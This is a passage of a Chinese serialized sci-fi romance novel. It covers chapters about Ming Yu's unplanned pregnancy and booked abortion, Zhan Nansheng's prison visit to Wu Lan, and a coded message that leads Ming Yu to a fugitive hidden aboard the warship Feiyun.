战笠已经开始怀疑乌澜,甚至可能已经盯上了宋青佩的身份。如果她告诉宋青佩自己怀孕了,宋青佩会怎么选?留下?还是……依然选择离开? 明毓咬紧下唇,喉咙发紧。 她怕宋青佩会因为责任而留下,更怕宋青佩以后会因为这个孩子而恨她——恨她再一次用枷锁困住她。 可她能瞒多久? 孕吐越来越严重*,宋青佩不是傻子,她甚至已经开始怀疑。 明毓闭上眼睛,呼吸微微发抖。 她到底该怎么办? 宋青佩同样心事重重地下了楼,强压着心头的疑虑,和颂颂一起吃了饭,又陪她玩了一会,带她去洗澡。 给颂颂洗澡时,浴室的蒸汽氤氲成一片白雾。 颂颂玩着泡泡,突然仰起湿漉漉的小脸:“妈妈,妈咪都生病了,你能不能别生她的气了?” 宋青佩正往掌心挤沐浴露的动作一顿,草莓味的泡沫从指缝间溢出。 “妈咪看上去好可怜。”颂颂自顾自地继续说,小手划拉着水面,“妈咪的手好凉,脸也好白,生病了还不吃饭,可能还躲在房间偷偷哭呢……你能不能去哄哄她啊。” 温热的水珠顺着颂颂的发梢滴落,宋青佩感到一阵心颤。 “好,我待会去看看你妈咪。”她轻声承诺,手指温柔地梳理着颂颂的发丝,不知是在安慰女儿还是说服自己。 哄睡颂颂后,宋青佩并没有立刻去找明毓。 她回了自己的房间,坐在床边默默沉思着,越发坚定自己的猜测。 ——真的太像了。 记忆如潮水般涌来。 怀颂颂时,明毓也是这般吐得昏天黑地,而今晚她的反应,那种护住腹部的本能动作,还有对视时掩饰不住的心虚…… 宋青佩猛地站起身,转身往外走去。 她必须确认这件事。 走廊的地毯吸收了脚步声,宋青佩站在明毓房门前,抬手时却犹豫了。如果她的猜测是对的……如果明毓真的怀孕了……她该如何面对? 指节悬在门上方,微微发抖。 许久,她内心百转千回,想了很多,又仿佛什么都没想明白。 可她知道,这种事情,终究是无法逃避的。 最终,她还是轻轻叩响了门。 没有回应。 她又敲了敲,这次加重了力道。 门内传来窸窣的动静,接着是明毓沙哑的声音:“谁?” “是我。” 漫长的沉默后,门发出咔嗒一声轻响。 明毓打开门,她穿着丝质睡袍,领口微微敞开,露出锁骨处的优美线条,脸上还带着未褪尽的倦意,眼下泛着淡淡的青黑,唯有眼睛亮得惊人。 “有事?”明毓轻声问。 她的手指无意识地绞着睡袍腰带,明显十分紧张。 宋青佩注视着她的小动作,视线最终落在她的腹部,缓缓开口:“明毓,你没什么话要对我说吗?” 接触到她探究的视线,明毓心虚地后退一步,“什……什么?” “别装傻!” 宋青佩向前一步,紧紧地盯着她,加重了音调:“这就是你说的,不会再骗我了吗?” 听到这话,明毓瞳孔骤然收缩,血色从脸上迅速褪去。 这个反应几乎坐实了宋青佩的猜测。 “我……”明毓的嘴唇颤抖着,眼中闪过挣扎、恐惧,最终化为一种认命般的决绝,“你猜到了。” 她抬起头,嘴角扯出一个惨淡的笑:“是,我怀孕了。” 尽管早有预感,亲耳听到时宋青佩还是呼吸一滞。 她下意识看向明毓的腹部,那里在睡袍下依然平坦,却孕育着一个崭新的生命。 她们的孩子。 这个认知让宋青佩心脏狂跳,复杂的情绪如潮水般涌来。 她想说些什么,几次张了张嘴,却发现喉咙干涩得发不出声音。 看着她阴晴不定的神色,明毓内心一阵绝望。 她根本不敢奢想,青佩会喜欢这个孩子,不怨她就不错了。 似乎生怕宋青佩说出什么绝情的话,明毓垂下眼,根本不敢去看宋青佩的神色,惶然开口道:“你放心,我不会用这个孩子绑住你。我们的约定不变。一周后,我会安排你离开。” 她顿了顿,手指悄悄抚上小腹,“这个孩子……我不会留。” “你说什么?”宋青佩猛地抬头,声音是自己都未察觉的尖锐。 明毓的身体僵了僵,却没有抬头。 “青佩,我理解你的选择。”明毓强装平静,尾音却还是止不住地颤抖,“这个孩子……来得不是时候,我不会让它成为束缚你的枷锁。” 宋青佩胸口剧烈起伏,无数话语涌到嘴边。 她想说明毓误会了,她没有不要这个孩子,可明毓冷静的话,将她所有言语都哽在喉间。 她什么都替她想了,甚至以一个母亲的身份,决定了孩子的去留,全无之前对她想尽办法地占有。这一刻,宋青佩不得不相信明毓的心,是真的站在她的立场上考虑,很努力地在挽回。 许久,宋青佩哑声道:“明毓,这个孩子……” “我不想要。”明毓打断了她的话,哑声道:“青佩,不只是因为你,也因为我。我现在正是晋升元帅的关键时刻,不能分心,这样对你我都好。不是吗?” 是吗?宋青佩无法回答她的问题。 不管怎么说,这个决定,明毓身心比她受到的伤害会更重。 许久,明毓终于抬起头看向宋青佩,勉强笑了笑:“很晚了,回去休息吧。” 宋青佩站在原地,透过窗帘照进的月光将两人的影子拉长又重叠。 最终,她沉默地转身离开,关门声在寂静的夜里格外刺耳。 : 走廊的黑暗渐渐吞没了她的身影。 明毓捂着胸口,看着宋青佩渐渐远离她的视线,心里一片绝望。 她真的没有丝毫挽留,就这么厌恶她吗?哪怕是一句…… 明毓忍不住趴在床边,她的手指死死地抓着腹部的衣襟,那里正孕育着一个不被期待的生命。越想越难受,她的肩头忍不住慢慢颤抖起来,幅度越来越大,夹杂着破碎的泣音。 “对不起……” 她对着空荡的房间呢喃,不知是在向谁道歉。 第76章 乌澜的‘表白’ 战南笙的房间里,价值连城的古董花瓶在她手中化为碎片,瓷片飞溅的声响在总统府空旷的走廊上回荡。她胸口剧烈起伏,精心盘起的长发也散落几缕,黏在汗湿的额头上。 “滚出去!”她冲着门口的守卫怒吼,声音嘶哑,“都给我滚!” 守卫们面面相觑,却没人敢动。 战南笙抓起桌上的东西就要砸过去,却在抬手瞬间僵住了——父亲战笠不知何时已站在门口,鹰隼般的眼睛正冷冷注视着她。 “南笙。”战笠的声调不高,却让整个房间的温度骤降,“闹够了吗?” “这就是我培养的继承人该有的样子?” 战南笙的手心收紧,却还是倔强地扬起下巴:“父亲,我要见乌澜。” 战笠缓步走进房间,他挥手示意守卫退下,房门关闭的瞬间,战南笙感到一阵强烈的压迫感。 她了解自己的父亲,这次应该是真的生气了。 “乌澜的事,你不要再管了。”战笠在沙发上坐下,慢条斯理地整理袖口,“秦家那边已经同意联姻,下个月就举行订婚仪式。” “我不答应!”战南笙难以置信地看着战笠,愤怒质问,“父亲,你为什么一定要这样逼我?” 战笠的眼神陡然锐利,神色失望道:“你以为我是在和你商量?乌澜狼子野心,根本配不上你!四大家族的人现在都盯着我的位置,我需要秦家的助力!” 战南笙突然笑了,凄然道:为了你的权利,我的婚姻就该像货物一样被交易吗?“她踉跄着后退几步,愤然:”父亲,您别忘了,当年母亲是怎么死的。“ 战笠脸色骤变,眼中闪过一丝痛楚,但很快被怒火取代:“你——” “我要见乌澜。”战南笙打断他,带着玉石俱焚的决绝,“不然我就绝食,跟她一起死。您知道的,我说到做到。” “战南笙,你太让我失望了!”战笠失望地看着她,咆哮道:“乌澜到底给你灌了什么迷药?让你忘了自己的身份?!” 战南笙胸口剧烈起伏,父亲的质问,让她一时陷入了某种奇怪的沉默,低垂着头不说话。她自己也说不清楚,为了乌澜如此倔强地对抗自己的父亲,到底是因为什么? 爱吗?恨?亦或者是不甘心? 沉思许久,战南笙也只能难受地得出一个模糊的结果。 这么久以来,只有乌澜让她在感情上栽过那么大的跟头,可乌澜却始终云淡风轻,这让她挫败,恼怒,或许就是这般爱恨交织,强烈的不甘心,才让她对乌澜如此欲罢不能,难以割舍。 战南笙不愿深想,心中的念头却越发强烈。 她不能让乌澜有事,更不能如此轻易地和她划清界限,她要让乌澜也尝尝这种难受的滋味,她不甘心,一人沉溺其中。 似是下定决心般,战南笙迎着父亲迫人的视线,一字一句道:“父亲,求您,让我见见乌澜。” “你这么坚持见乌澜要干什么?” “您别管了,我会给您一个满意的答案。” 父女俩在满室狼藉中对峙,空气仿佛凝固。 最终,战笠阴沉着脸站起身:“好,我让你见。但记住,这是最后一次。” 战南笙点头不语。 战笠让人带着战南笙出去,立刻叫来了调查局代局长陈铎,让他带战南笙去见乌澜。 路上,战南笙难掩担忧,“陈代局长,乌澜怎么样了?” 陈铎在听到‘代’字的时候,微不可见的皱了下眉,客套地笑道:“战中将见了就知道了。” 对于他这种敷衍的态度,战南笙心下不满,强忍着没有发作。 调查局地下二层的特殊审讯室。 战南笙的脚步声在密闭走廊上回荡,她攥紧拳头,指甲几乎掐进掌心,却感觉不到疼痛——三天没见,乌澜会被折磨成什么样子?父亲说过不会用刑,但那些新型精神审讯设备比皮鞭更残忍…… 当守卫推开那扇足有半米厚的合金门时,浓重的消毒水味混合着信息素紊乱剂的气味扑面而来。战南笙的胃部猛地痉挛,那是专门用来折磨Alpha的合成Omega信息素,浓度高到能让最强大的Alpha失控。 乌澜就坐在房间中央的特制金属椅上,苍白的面容在刺眼的白炽灯下几乎透明。她身上确实没有明显伤痕,但整个人像是被抽干了精气神,浓密的黑发早已失去了光泽,软塌塌地贴在额前,黑眸黯淡无光,就连那标志性的、总是微微上扬的嘴角也无力地垂着。 最刺激南笙的是乌澜手腕和脚踝上的神经抑制器—— 蓝色的电流时不时在皮肤表面窜过,每次都会让那具日渐消瘦的身体产生条件反射般的抽搐。 战南笙不可控制的鼻尖一酸,“乌澜,你……” “大小姐……”乌澜艰难地抬起眼皮,声音嘶哑,“你这副模样……可真不好看” 这句熟悉的调侃让战南笙瞬间红了眼眶。 她冲过去跪在乌澜面前,颤抖的手指抚上对方凹陷的脸颊:“闭嘴……你这个混蛋……”泪水砸在乌澜的手铐上,“他们对你做了什么?” 乌澜轻轻摇头,干燥的嘴唇扯出一个苦笑:“没什么。大小姐,这不是你该来的地方……” “乌澜,你……是不是在怪我?”战南笙紧张地看着她,声音颤抖:“我当时只是因为太生气了,才会告诉父亲……对不起,我没想到事情会变成这样,我只是想给你一个教训而已……” 说到后面,战南笙几乎半趴在乌澜身上,泣不成声。 低垂着眼眸,艰难地说:“大小姐,别哭了。她说着突然剧烈咳嗽起来,唇角渗出一丝血迹,”我不怪你,比起我对你做的混账事……这算什么?“ 战南笙愣住了,抬眸看向她。 乌澜眸色依旧那般随意散漫,好像刚才那些话,不是出自她口中。 想到这么久以来,乌澜对她做的那些事,战南笙忍不住悲从中来,愤怒,委屈,不甘,混合着自己说不清的情绪,在她的胸腔中发酵起来。 她眸中含泪,忍不住颤声道:“乌澜,你为什么那么对我?你……到底爱过我吗?” 闻言,乌澜不由移开视线,长久不语。 战南笙不满,猛地捧住她的脸,强迫她视线相接:“回答我的问题,乌澜,不要骗我,不然我一定会杀了你……一定会的!” 乌澜并没有直接回答她的问题,而是苦笑道,“因为我嫉妒啊……大小姐。” “什么?”战南笙的声音哽在喉咙里。 乌澜的眼神突然变得异常尖锐,那种战南笙从未见过的、剥去所有伪装后的真实:“您生来就在云端……战家的独女……如玫瑰般灿烂……而我呢?什么都没有的垃圾……凭什么染指您?” 战南笙的呼吸停滞了。 “所以您看……”乌澜突然笑起来,“我越是羡慕你……就越想毁掉您。战家的大小姐也会被我征服,在我身下露出那样的表情,哭泣求饶……” “啪!” 一记耳光清脆地回荡在审讯室里。 战南笙的手火辣辣地疼,声音支离破碎,“乌澜,你给我闭嘴。你别以为我不知道你的想法,你不就是想把我气走!” “我相信你为了权力会不择手段,但我不相信……你会为了向上爬,这么对我。明明只要你假装讨好我,就可以得到这一切。” “我不信你的话!” 乌澜的脸偏向一侧,嘴角渗出血丝。 许久,她不由叹息一声,“大小姐,我是个变态。” “什……什么?”战南笙愕然地瞪大了眼睛。 “我说我是个变态。”乌澜笑笑:“我就喜欢看你哭,看你在我身下露出不甘的表情,气急败坏地大骂,却又无可奈何,最后发出哭泣声,这让我……很爽,很兴奋!”说到最后,已经堪称露骨。 战南笙红着眼睛:“变态!” “所以……离我这个变态远点吧。”乌澜慢慢转回视线,眼中的伪装彻底崩塌,哑声道:“大小姐……别管我了……”她颤抖地蹭了蹭战南笙的脸,“只要您不愿意……总统也没办法真逼您结婚的……” 战南笙猛地抱住她,在乌澜耳边咬牙切齿地说,“我会救你出去……然后……”她的泪水浸湿了乌澜的囚服,“让你用一辈子偿还……” 乌澜轻轻摇头,气若游丝:“没用的……我帮你父亲干了那么多脏事……他不会放过我的。更何况……他本就想用我逼你答应联姻……” “那我该怎么办?”战南笙已经慌的失去了理智,“我不能……我不能放弃你……” 乌澜突然用尽全身力气抬起被束缚的手,她冰凉的指尖抚上战南笙的脸颊,声音轻得几乎听不见:“大小姐……你愿意……跟我私奔吗?” 战南笙猛地抬头,不敢相信自己的耳朵。 乌澜的眼神却变得清明,在她耳边继续低语:“先假装答应你父亲联姻……然后去找明毓,告诉她……XY0713。她会想办法送我们离开……” 话未说完,乌澜突然痛苦地弓起身子,抑制器爆发出刺目的蓝光,将她再次拖入痛苦的深渊。 “战中将,时间到了。”门口突然传来冷硬的声音。 战南笙回头怒视,却见四名全副武装的警卫已经走了进来,为首的正是陈铎。 “滚开!”战南笙挡在乌澜面前,浑身散发着愤怒的气息,“谁敢碰她!” 乌澜微不可察地摇了摇头,那动作仿若在传递着无声的安抚。 战南笙努力压下满腔的悲愤,猛地俯身抱住了乌澜,亲了上去,在她的唇边缠绵。 乌澜回吻着她,在战南笙耳边,用只有两人能听见的声音说:“XS-0719” 走出审讯室时,战南笙的眼泪已经干了。 她挺直脊背,在陈铎警惕的目光中突然一脚踹翻了走廊上的消防设备,金属碰撞的声响仿若她愤怒的宣泄。“陈铎,我警告你,要是乌澜少一根头发……我绝不会放过你!” 金属大门在身后重重关闭,战南笙仿若被抽干了最后一丝力气。 乌澜虚弱的样子在脑海中挥之不去,而那句“私奔”的提议更像一把双刃剑,既给了她希望的曙光,又让她满腹疑虑——明毓为什么会帮她们? 乌澜到底还隐瞒了什么? 她攥紧拳头,下定决心:不管怎样,她都要先把乌澜救出来。 强压下内心的疑惑,战南笙整理了一下衣服,迈着坚定的步伐向父亲的书房走去,每一步都仿若踏在刀刃上, 书房内,战笠坐在书桌后,正低头批阅着文件。 听到脚步声,他头也不抬:“想通了?”那语气仿若早已料到一切。 战南笙走到书桌前,直视着父亲的眼睛,“我可以答应和秦家联姻,但你必须放了乌澜。” 战笠终于抬起头,眼中满是失望:“为了救乌澜,你就如此轻易妥协了,你的骨气呢?” 战南笙毫不退缩:“这是我的条件,你答应,我就乖乖联姻,否则,别想我配合。” 战笠沉默良久,仿若在权衡利弊,最终,他开口:“好,我答应你。但乌澜不能留在首都星,我会将她流放至偏远星球,这是我的底线。” 战南笙心中一痛,可她知道这已是父亲最大的让步。 她假装妥协,点头:“好,我明天开始回军校工作,没问题吧。” 战笠哼了一声,算是答应了。 转身离开书房的瞬间,战南笙将泪水硬生生憋了回去。 她并不打算完全按照乌澜说的去做,但是明毓那边,她还是准备去见见的。 她要知道,乌澜和明毓到底在干什么? 第77章 预约手术 清晨的阳光透过落地窗洒进餐厅,明毓扶着楼梯扶手缓缓下楼。 她整夜辗转反侧,胃部的不适让她几乎没怎么合眼,眼下泛着淡淡的青色,嘴唇因缺水而略显苍白。 当她走进餐厅时,目光立刻被餐桌上摆放的食物吸引,一碗冒着热气的白粥,旁边是一碟鲜嫩凉拌黄瓜,上面还撒着几粒白芝麻。 这简单的搭配却让明毓心头一紧,她不由想到了怀颂颂的时候。 这是青佩特意准备的吧。 明毓近乎奢望地想,她还是关心她的吧? “起来了?” 宋青佩的声音从厨房方向传来,明毓抬头,看见她正端着两杯牛奶走出来。 宋青佩穿着简单的家居服,头发随意地扎在脑后,眼下也有淡淡的阴影,显然也没休息好。 “嗯。”明毓轻声应道,视线移到桌上的食物,“这是。” “苏管家准备的。”宋青佩将牛奶放在桌上,目光闪烁了一下,“多少吃点东西吧,不然你的胃受不了。” 明毓无端地有些失望,点点头,拉开椅子坐下。 她拿起勺子,舀了一小口粥送入口中。 温热的米粥滑过喉咙,出人意料地没有引起反胃。她又夹了一块黄瓜,酸咸中微微泛着甜的味道在口腔中扩散,反而缓解了晨起的不适。 两人就这样沉默地吃着早餐,餐厅里只有餐具偶尔碰撞的轻响。 明毓能感觉到宋青佩的目光时不时落在自己身上,而当她抬头时,对方又迅速移开视线,明显一副欲言又止的模样。 这个孩子的到来终究是搅乱了两人的关系,打破了青佩之前对她的冷漠和怨怼,可是横在两人中间的问题依旧尖锐,不是简单就可以解决的,一时间她也不知该喜该忧。 两人又陷入了长久的沉默,谁也不知道该说些什么。 直到颂颂欢快的声音打破了沉默。 “妈咪,妈妈,早上好!” 小姑娘穿着整齐的校服,蹦蹦跳跳地跑进餐厅,书包在她背后一晃一晃的。 “早上好,颂颂。”明毓勉强笑了笑。 颂颂走近,大眼睛在两人之间来回转动,她敏锐地察觉到空气中不同寻常的氛围,小脸上露出困惑的表情。 “妈咪,你不舒服吗?”颂颂歪着头问道,“你的脸好白哦。” “妈咪没事,只是昨晚没睡好。”她轻声回答,目光却不自觉地瞟向宋青佩。 宋青佩清了清嗓子,无奈催促道:“颂颂,快去上学吧,不然要迟到了。” “哦……”颂颂乖巧地应着,但眼睛依然在两人之间转来转去。 苏管家适时地出现在餐厅门口:“小小姐,车已经准备好了。今天我送你去学校好吗?” 颂颂看了看明毓,又看了看宋青佩,最后点点头:“好吧。”她慢悠悠地转身,“妈咪,妈妈,我去上学啦!” “路上小心。”两人异口同声地说。 颂颂走到门口,突然转身:“你们不要再吵架了哦!”说着她叹了口气,那模样活像个为父母操碎了心的小大人。 说完,不等回应就跟着苏管家跑出去了。 餐厅再次陷入了尴尬的沉默。 明毓机械地搅动着碗里的粥,她再次感觉到宋青佩欲言又止的目光,这让她如坐针毡。 “我……我该去军校了。”明毓放下勺子,准备起身。 “等等。”宋青佩突然开口,声音有些干涩,“你……昨晚说的话……” 明毓的身体僵住了。 她深吸一口气,强迫自己抬头与宋青佩对视:“青佩,我是认真的。这个孩子……不该成为你的枷锁。” “我不是这个意思。”宋青佩皱眉,艰涩道,“我只是……你确定要这么做吗?” “不然呢?”明毓苦笑了一下,声音很轻,“你会为了孩子心甘情愿留下吗?你小姨怎么办?你……真的不会怨我吗?” 宋青佩的嘴唇颤抖了一下,眼中闪过一丝痛苦。 她低下头,沉默了。 “看吧。”明毓的声音带着疲惫的理解,“别为难自己了,青佩。我不会怪你的,更不想你恨我。” 她站起身,椅子在地板上划出刺耳的声音。 就在她转身要走的那一刻,宋青佩突然抓住了她的手腕。 “去医院的时候……”宋青佩的声音低得几乎听不见,“告诉我,我陪你一起去……” 明毓的背脊猛地僵直。 她没有回头,但宋青佩能看到她的肩膀在微微颤抖。 “好。” 明毓最终只说了这一个字,轻轻挣脱宋青佩的手,头也不回地走向门口。 宋青佩望着她离去的背影,手指还保持着抓住她的姿势,悬在半空中。 门外传来悬浮车启动的声音,宋青佩这才回过神来。 她低头看着桌上几乎没动过的早餐,突然没了胃口。 明毓刚才的反应让她胸口发闷,当她说出“我不会留”那几个字时,她几乎要脱口而出“要这个孩子”。但理智阻止了她——她有什么资格说这句话?她连自己能否留下都无法保证,又怎么能给她虚假的希望? 就像明毓说的,她们的感情早就岌岌可危。 她无法心无芥蒂地接受明毓,假装那些欺骗都不曾发生过,哪怕真的留下,她们之前的问题也并不曾解决。而小姨,她更不可能放弃。 或许……这真的是对两人更好的选择。 可想到那个孩子,她还是止不住地难受,而明毓应该比她更难受,毕竟,她身心要遭到更多的摧残。 这一刻,她对明毓的怨不由少了许多底气。 —— 明毓踏入军校大门时,胃里还残留着晨吐的不适。 但此刻已无暇顾及,因为战南笙回来了,这个消息让她立刻警觉起来。 她径直走向战南笙的办公室,脚步在空旷的走廊上回荡。门虚掩着,透过缝隙能看到战南笙正背对门口整理文件,军装外套随意搭在椅背上。 明毓轻叩门板,碰撞声惊动了里面的人。 战南笙转身时,眼下浓重的青黑让明毓一眼注意到,看来乌澜的处境应该比想象中更糟。 “稀客啊,明校长。”战南笙扯出个僵硬的笑,“大清早的,有什么贵干?” 明毓反手关上门,咔哒声在密闭空间里格外刺耳。 她缓步走近,在办公桌对面落座:“你见过乌澜了。” 这不是疑问句。 战南笙颇有些阴阳怪气道:“明校长,你消息还真是灵通啊!” 没有理会她的挑衅,明毓直接问:“她情况怎么样了?有没有什么?” 她这般直接的态度,让战南笙十分不爽,“明毓,你和乌澜到底什么关系?你们背地里到底在谋划什么?乌澜……为什么那么信任你?” 明毓从她的语气中,敏锐地捕捉到信息,乌澜应该是跟战南笙说了什么,但是青佩的身份应该还没有暴露,不然她不会如此问。 想通这些,明毓强装镇定道:“乌局长到底跟你说什么了?” 乌澜冷笑一声,“这跟你有什么关系?” “战南笙,都这个时候了,你还要和我针锋相对吗?” 两人目光在空气中交锋,战南笙先败下阵来。 她颓然坐回椅子,“她让我带话给你。” “什么?”明毓下意识追问。 战南笙盯着她,质问道:“但我要知道你们到底在做什么?” 明毓顿了一下,缓缓道:“这是我跟乌局长的私事,你还是亲自去问她吧。” “明毓!”战南笙猛地前倾身体,办公桌被撞得移位,“现在是你有求于我,如果你不肯说跟乌澜在做什么,我恐怕不能告诉你乌澜说了什么。” 听到她如此威胁,明毓慌了一瞬。 但很快就反应过来,战南笙并没有得到什么有用的信息,不然不会如此急切。而她对乌澜的担忧,不似作假,她应该比她更担忧乌澜。 两相博弈,她不能让对手看清自己的软肋。 想到此,明毓强压担忧,转身走向门口:“随你。”她的声音轻飘飘的,“反正乌澜的命……”手指搭上门把时故意停顿,“在你手里。” 金属把手传来阵阵凉意,明毓在心里默数:3、2、1—— “等等!”战南笙的声音难掩急切,“FY-0719,她说你会懂。” 闻言,明毓的后背瞬间绷直。 这是飞云号星舰上的人员编码,乌澜为什么突然提起这个? 她维持着背对的姿势,声音却泄出一丝紧绷:“还有呢?” 战南笙:“没有了,她只让我告诉你这个,说你有办法救她出去。” 明毓沉默着,思索着乌澜说这话的用意。 战南笙却等不及了,焦急地追问:“FY-0719,到底是什么?” “战中将,很感谢你告诉我这些。请放心,乌局长不会有事的。” 明毓并没有回答她的问题,似是而非地说完,转身就往外走。 像把出鞘的利剑,似乎急着去做什么事。 “明毓!站住!你给我说清楚!” 战南笙追到门口,却只看到明毓挺直的背影消失在转角。 她气得将攥紧的拳头砸在门框上,感觉自己成了被白嫖的小丑。 明毓强压下心头的惊疑,面色如常地离开了军校。 她不能表现出任何异常,战南笙可能还在暗处盯着她,总统府的眼线无处不在。她必须谨慎行事,每一步都不能出错。 于是,她以例行巡查的名义,直接前往了停泊在星际军港的飞云号。 飞云号是联邦最先进的战舰之一,隶属于明毓的直属舰队,这里戒备森严,任何未经授权的人员都无法靠近。 明毓踏入飞云号舰桥时,整艘战舰的军官早已列队等候。 “敬礼!” 数十名士兵齐刷刷抬手,军靴碰撞声清脆划一。 明毓面无表情地扫视众人,目光锐利,她今天穿着笔挺的深蓝军装,肩章上的将星在灯光下泛着冷光,每一步都带着不容置疑的威严。 舰长快步上前,恭敬道:“明上将,飞云号全体官兵已准备就绪,请您检阅。” 明毓微微颔首,目光却不着痕迹地在人群中搜寻—— 乌澜的暗号不会无缘无故指向这里,一定有线索。 她缓步走过每一排士兵,偶尔停下询问训练情况,但心思却全在那些细微的异常上——某个士兵的呼吸频率、指尖的颤抖、甚至眼神的闪躲。 直到她看见了人群中—— 一个身材瘦削的士兵站在队伍末端,帽檐压得很低,几乎遮住了半张脸。她的站姿看似标准,但敬礼的手却微微发颤——那是极度紧张的表现。 明毓脚步一顿,径直朝她走去。 舰长察觉到她的目光,立刻呵斥:“抬头!” 那人缓缓抬起脸,露出一双熟悉的眼睛。 慕容瑞雪! 明毓的瞳孔骤然收缩,但面上依旧冷峻。 她盯着对方,声音低沉:“编号。” 那人喉结滚动,嗓音刻意压低:“报告长官,FY-0719。” 明毓没说话,只是盯着他——不,是她。 那个本该被关押在调查局、后来“越狱”失踪的黑鸢花成员,竟然伪装成士兵,潜入了她的舰队?! 明毓面上不动声色,指尖在军装袖口轻轻一捻,继续完成检阅流程。 她走过最后一排士兵时,靴跟在地面敲出沉稳的节奏,却在经过慕容瑞雪身边时微不可察地顿了顿。 “稍息。”她突然开口,声音像淬了冰的刀锋。 整个舱室响起整齐划一的动作声。 明毓转向舰长,缓缓开口:“此次检阅,做如下意见。”她顿了顿,状似随意地补充:“让FY-0719过来记录。” 舰长眼底闪过一丝诧异,但还是迅速立正:“是,上将。” 当慕容瑞雪被带入舰长室时,金属门在身后闭合的声响让她肩膀几不可见地颤了颤,明毓背对着她站在观察窗前,轮廓被镀上一层冷光。 “明上将,好久不见。”慕容瑞雪低声道,声音里透着警惕和疲惫。 明毓转过身,冷冷地盯着她:“你胆子不小,敢混进飞云舰队。” 慕容瑞雪看着她,眼神复杂,许久才道:“乌局长说,你会来,让我在这里等你。” 虽然明知道这一切都是乌澜的安排,但是明毓还是忍不住诧异。 以乌澜的所作所为,是怎么说动慕容瑞雪相信她,对她唯命是从的? 明毓不由眯起眼,冷声道:“慕容瑞雪,你居然相信将你们抓起来的调查局局长,不觉得可笑吗?” “因为……我们有同一个目的。”慕容瑞雪并没有多说与乌澜的事,只是含糊道:“乌局长跟我保证,说你*为了救宋青佩,最终一定会妥协让她跟我离开。我们达成了交易,各取所需。” 明毓的瞳孔骤然收缩。 乌澜居然早就和黑鸢花达成了交易?! 她甚至早就料到了这一切,猜到她会放宋青佩离开。 她甚至提前安排了慕容瑞雪在这里接应! 让人不禁后背发寒。 明毓压下心中的怒意,冷声问:“乌澜还说了什么?” 慕容瑞雪沉默片刻,坦然道:“并没有什么了。乌局长之前一直审问我慕容暇的下落,我宁死不说。后来,才提出条件——她会说服你同意宋青佩跟我一起离开,跟我去见老师慕容暇。” “她安排我们越狱,然后在这里等你。”慕容瑞雪说着,神色忽然暗淡下来,“只是没想到,行动的时候,李蔓居然会出事。” 听她提起李蔓,明毓神色变了变,到底做了她好几年的军医,说没有丝毫感情是骗人的,但也仅仅是片刻的失神,想到最近发生的一切,明毓的思绪很快就被乌澜吸引了过去。 如此一环套一环,很难不让人怀疑,这一切都是乌澜精心安排的。 甚至,就连乌澜被抓,可能都是她在以身入局了,好达成自己的目的。 乌澜算准了一切,她到底在谋划什么? 如果不是宋元帅再三保证,慕容暇对宋青佩没有恶意,明毓已经忍不住开始动摇,送青佩离开的决定。可是事情发展到了这一步,已经没了退路。 留下青佩,战笠绝不会放过她。 明毓深吸一口气,强迫自己冷静下来。 “慕容瑞雪。”她冷冷地开口,“我可以让你带宋青佩走,但你必须保证她的安全。” 慕容瑞雪一怔,似乎没想到明毓会这么干脆:“你……真的愿意放她走?” 明毓的眼底闪过一丝痛楚,但很快被冷硬取代:“如你所愿。” 慕容瑞雪难以置信的看着她,许久,还是忍不住低声道:“明上将,你费了这么大功夫对付我们,就为了留下青佩,为什么现在又……” “这与你无关。”明毓打断她,声音冰冷,“记住,别打宋青佩的主意。她是我的妻子,无论她在哪里,这一点都不会变。” 听出她话中的醋意,慕容瑞雪叹息一声:“你放心,我现在只想带青佩回去,完成老师交代的任务和李蔓的遗愿。” “你继续在这等,我会尽快安排青佩过来汇合,送你们离开。” 明毓说完,转身准备离开。 但在推开门的前一刻,慕容瑞雪突然叫住她:“明上将,您真的愿意就这么放弃青佩吗?” 明毓脚步一顿,没有回答,推门离开。 走廊上的灯光刺眼,明毓的脑海里闪过无数念头,她的确不甘心,却不得不接受,宋青佩即将离开的事实。无论如何,她得确保青佩的安全,满足她的选择,她答应了她,这次决不能再食言。 哪怕……代价是放手。 而走之前,她还有一件重要的事要做。 她要帮爱人,斩断所有的羁绊和后顾之忧,安心离开。 明毓沉思着,耳边回想着今早听到的话:“去医院的时候告诉我,我陪你一起去……” 她应该满足青佩的这个愿望,毕竟这个孩子是两人的。 明毓下意识的用手抚摸了一下腹部,轻声呢喃了一句:“对不起”然后手猛地握紧,指甲几乎嵌入掌心,许久,还是咬牙拨通了通讯器。 电话接通。 许久,她艰涩地开口,“青佩,我……预约了手术,在第一军事医院等你。” 第78章 分别 宋青佩收到消息的那一刻,通讯器差点从手中滑落。 屏幕上的文字冰冷而简短:“我预约了手术,在第一军事医院等你。” 她的手指悬在屏幕上方,颤抖着无法回复。脑海中闪过明毓早上苍白的脸色、护住腹部的本能反应,还有今早那碗特意准备的酸黄瓜这一切都在提醒她,那个不被期待的小生命真实存在着。 “宋小姐。”林中尉的声音将她拉回现实,“您还好吗?” 宋青佩这才发现自己站在走廊中央已经很久了。 她深吸一口气,声音沙哑:“林中尉,我要去第一军事医院。” 林中尉早就接到了明毓的通知,立刻准备了车。 悬浮车穿过城市上空,宋青佩望着窗外飞速掠过的建筑,思绪纷乱如麻。 “到了,宋小姐。”林中尉的声音打断了她的思绪。 阳光刺眼得令人眩晕。 宋青佩迈步走进大厅,消毒水的气味让她鼻间一阵不适,她跟着指引来到妇产科所在的楼层,远远就看见明毓独自坐在走廊尽头的长椅上。 明毓穿着军装,整个人看起来比平时单薄许多。她低着头,手指无意识地摩挲着腕表,在冷白的灯光下,侧脸线条显得格外脆弱。 宋青佩的脚步不自觉地放慢了。 似乎是感应到了什么,明毓突然抬头,两人的视线在空中交汇。 那一刻,宋青佩清晰地看到明毓眼中闪过的痛楚与挣扎,但很快就被她掩饰下去,换上一个勉强的微笑。 “你来了。”明毓轻声说,声音比通讯器里还要嘶哑。 宋青佩在她身边坐下,两人之间保持着恰到好处的距离。她有很多话想问,却不知从何说起,最终只是干巴巴地开口:“你确定要这么做?” 明毓手掌紧握,骨节泛白:“这是最好的选择。”她顿了顿,突然转移了话题,“对了,我有重要的事情要告诉你。” 她的表情变得严肃起来:“我找到慕容瑞雪了。” 宋青佩猛地睁大眼睛:“什么?她在哪?” “在飞云号上。”明毓的声音很平静,徐徐道,“乌澜提前安排她混进了我的舰队。我猜,乌澜早就计划好了这一切。” 她详细讲述了今天在飞云号上的事,包括慕容瑞雪的伪装、乌澜的布局,以及她与黑鸢花似乎达成了某种交易。每一个字都像锤子敲在宋青佩心上,让她意识到这一切远比想象中复杂。 “所以”宋青佩声音发紧,“你早就知道乌澜和黑鸢花有联系?” 